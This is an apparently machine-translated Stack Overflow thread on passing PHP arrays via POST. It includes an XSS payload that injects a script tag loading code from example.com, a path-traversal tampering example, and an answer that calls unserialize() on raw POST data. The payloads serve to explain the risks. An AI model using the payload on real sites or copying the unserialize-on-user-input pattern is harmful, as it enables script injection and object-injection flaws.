use*_*791 19 php arrays post http
通过哪种方式发送数组最安全POST
?
foreach ($id as $array)
{
<input type="hidden" name="prova[]" value="<?php echo $array; ?>"/>
}
<input type="submit" name="submit"/>
Run Code Online (Sandbox Code Playgroud)
或者implode()
用于创建单个变量,传递变量然后用于explode()
将值恢复到新数组中?
MrG*_*ass 27
编辑如果您询问安全性,请参阅底部编辑的附录
PHP具有为此特定目的提供的序列化功能.传递一个数组,它会给你一个字符串表示.如果要将其转换回数组,只需使用unserialize函数即可.
$data = array('one'=>1, 'two'=>2, 'three'=>33);
$dataString = serialize($data);
//send elsewhere
$data = unserialize($dataString);
Run Code Online (Sandbox Code Playgroud)
惰性编码器经常使用它来将数据保存到数据库.不推荐,但作为快速/脏的解决方案.
附录
我的印象是你正在寻找一种可靠而不是"安全"发送数据的方法.无论您如何传递数据,如果它通过用户系统,您根本不能信任它.通常,您应该将其存储在服务器上的某个位置并使用凭据(cookie,会话,密码等)进行查找.
lax*_*ine 15
你可以把它放在会话中:
session_start();
$_SESSION['array_name'] = $array_name;
Run Code Online (Sandbox Code Playgroud)
或者,如果您想通过表单发送它,可以将其序列化:
<input type='hidden' name='input_name' value="<?php echo htmlentities(serialize($array_name)); ?>" />
$passed_array = unserialize($_POST['input_name']);
Run Code Online (Sandbox Code Playgroud)
请注意,要使用序列化数组,您需要使用POST作为表单的传输方法,因为GET的大小限制大约为1024个字符.
我尽可能使用会话.
sea*_*mus 15
http://php.net/manual/en/reserved.variables.post.php
第一条评论回答了这一点.
<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>
<?php
var_dump($_POST['person']);
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>
Run Code Online (Sandbox Code Playgroud)
name标签可以作为数组使用.
有两件事需要考虑:用户可以修改表单,并且需要防止跨站点脚本(XSS).
XSS
XSS是指用户在输入中输入HTML.例如,如果用户提交了此值,该怎么办?:
" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value="
Run Code Online (Sandbox Code Playgroud)
这将写入您的表单,如下所示:
<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/>
Run Code Online (Sandbox Code Playgroud)
防止这种情况的最佳方法是使用htmlspecialchars()
来保护您的输入.这对诸如<
into之类的字符进行编码<
.例如:
<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/>
Run Code Online (Sandbox Code Playgroud)
您可以在此处阅读有关XSS的更多信息:https://www.owasp.org/index.php/XSS
表格修改
如果我在您的网站上,我可以使用Chrome的开发人员工具或Firebug来修改您网页的HTML.根据您的表单的不同,可以恶意使用.
例如,我可以为您的数组添加额外的值,或者不属于数组的值.如果这是一个文件系统管理器,那么我可以添加不存在的文件或包含敏感信息的文件(例如:myfile.jpg
用../index.php
或替换../db-connect.php
).
简而言之,您总是需要稍后检查您的输入,以确保它们有意义,并且只在表单中使用安全输入.文件ID(数字)是安全的,因为您可以检查数字是否存在,然后从数据库中提取文件名(这假定您的数据库包含经过验证的输入).由于上述原因,文件名不安全.您必须重新验证文件名,否则我可以将其更改为任何内容.
如果您已经在服务器(PHP)端拥有它,为什么要通过帖子发送它?
为什么不将数组保存到s $_SESSION
变量,以便在表单提交时使用它,这可能使它更"安全",因为客户端无法通过编辑源来更改变量.
这一切都取决于你真正想做的事情.